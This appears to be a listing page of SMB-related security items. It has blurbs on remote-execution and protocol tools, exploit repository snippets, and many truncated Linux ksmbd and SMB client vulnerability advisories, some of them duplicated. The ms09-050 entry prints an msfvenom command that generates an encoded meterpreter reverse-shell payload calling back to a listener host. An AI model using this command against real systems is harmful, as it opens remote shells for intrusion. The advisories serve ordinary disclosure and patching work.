NimExec

NimExec Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol MS-SCMR. It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC...

Titanis

View the User Guide on the documentation site Introduction Titanis is a library of protocol implementations and command line utilities, written in C, for interacting with Windows environments. It uses .NET 8 and is cross-platform Windows and Linux. Some of the protocols implemented: SMB2 MS-SMB2...

nmap-nse-scripts

Repository for NSE Nmap Scripting Engine development. You will find my scripts including non-official ones, libraries, resources and other related material from my workshops. TODO -Finishing SMB2 NSE library -Currently working on password mangling functionality Paulino Calderon calderonwebsec.mx...

SMB-LINUX-CVE-2025-37899

Use-After-Free Vulnerability in Linux Kernel's ksmbd CVE-2025-37899 Description A use-after-free vulnerability has been discovered in the ksmbd module of the Linux kernel, responsible for implementing the SMB Server Message Block protocol for network file sharing. This vulnerability, identified a...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

CVE-2026-98901

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix lease break and ack state handling Do not skip valid lease states containing WRITECACHING when breaking level-II/read leases for writes and truncates. Handle lease break acknowledgments according to the SMB2 rule that...

EUVD-2026-108857

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix lease break and ack state handling Do not skip valid lease states containing WRITECACHING when breaking level-II/read leases for writes and truncates. Handle lease break acknowledgments according to the SMB2 rule that...

PT-2026-122060

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix heap out-of-bounds write in krb5 authenticate In krb5 authenticate, out len is calculated to determine available headroom in response buf for the incoming Kerberos AP-REP token. However, when SMB2 SESSION SETUP is...

UBUNTU-CVE-2026-98454

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

DEBIAN-CVE-2026-98454

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

CVE-2026-98454 smb: client: fix create context out-of-bounds reads

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

CVE-2026-98454 smb: client: fix create context out-of-bounds reads

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

CVE-2026-98454

A flaw in the Linux kernel SMB client allows a malicious SMB server to trigger out-of-bounds memory reads by sending malformed create context responses. The issue stems from smb2_parse_contexts() failing to limit each record to its Next field, potentially exposing bytes beyond the current context...

PT-2026-116672

In the Linux kernel, the following vulnerability has been resolved: smb: client: close handle after create-context parsing failure SMB2 open accounts a successful CREATE response as a remote open before parsing its create contexts. If smb2 parse contexts rejects malformed context data, SMB2 open...

PT-2026-116673

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2 parse contexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose byt...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Added a WRITEDAC/WRITEOWNER check to the SMB2 SETINFO SECURITY routine. The commit cc57232cae23 "ksmbd: Fix FSCTL permission bypass by adding a permission check for FSCTLSETSPARSE" added a fp-daccess gate to...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Rejects repeated SMB2 NEGOTIATE requests An unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP,...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fix for use-after-free in smb2lock. If smblock-zerolen has a value, the -llist of smblock is not deleted, and flock is an old version. This will cause a use-after-free during error handling routines...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: A missing return value check bug has been fixed. In the smb2sendinterimresp function, if ksmbdallocworkstruct fails to allocate a node, it returns a NULL pointer to the inwork pointer. This can lead to an illegal memory...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...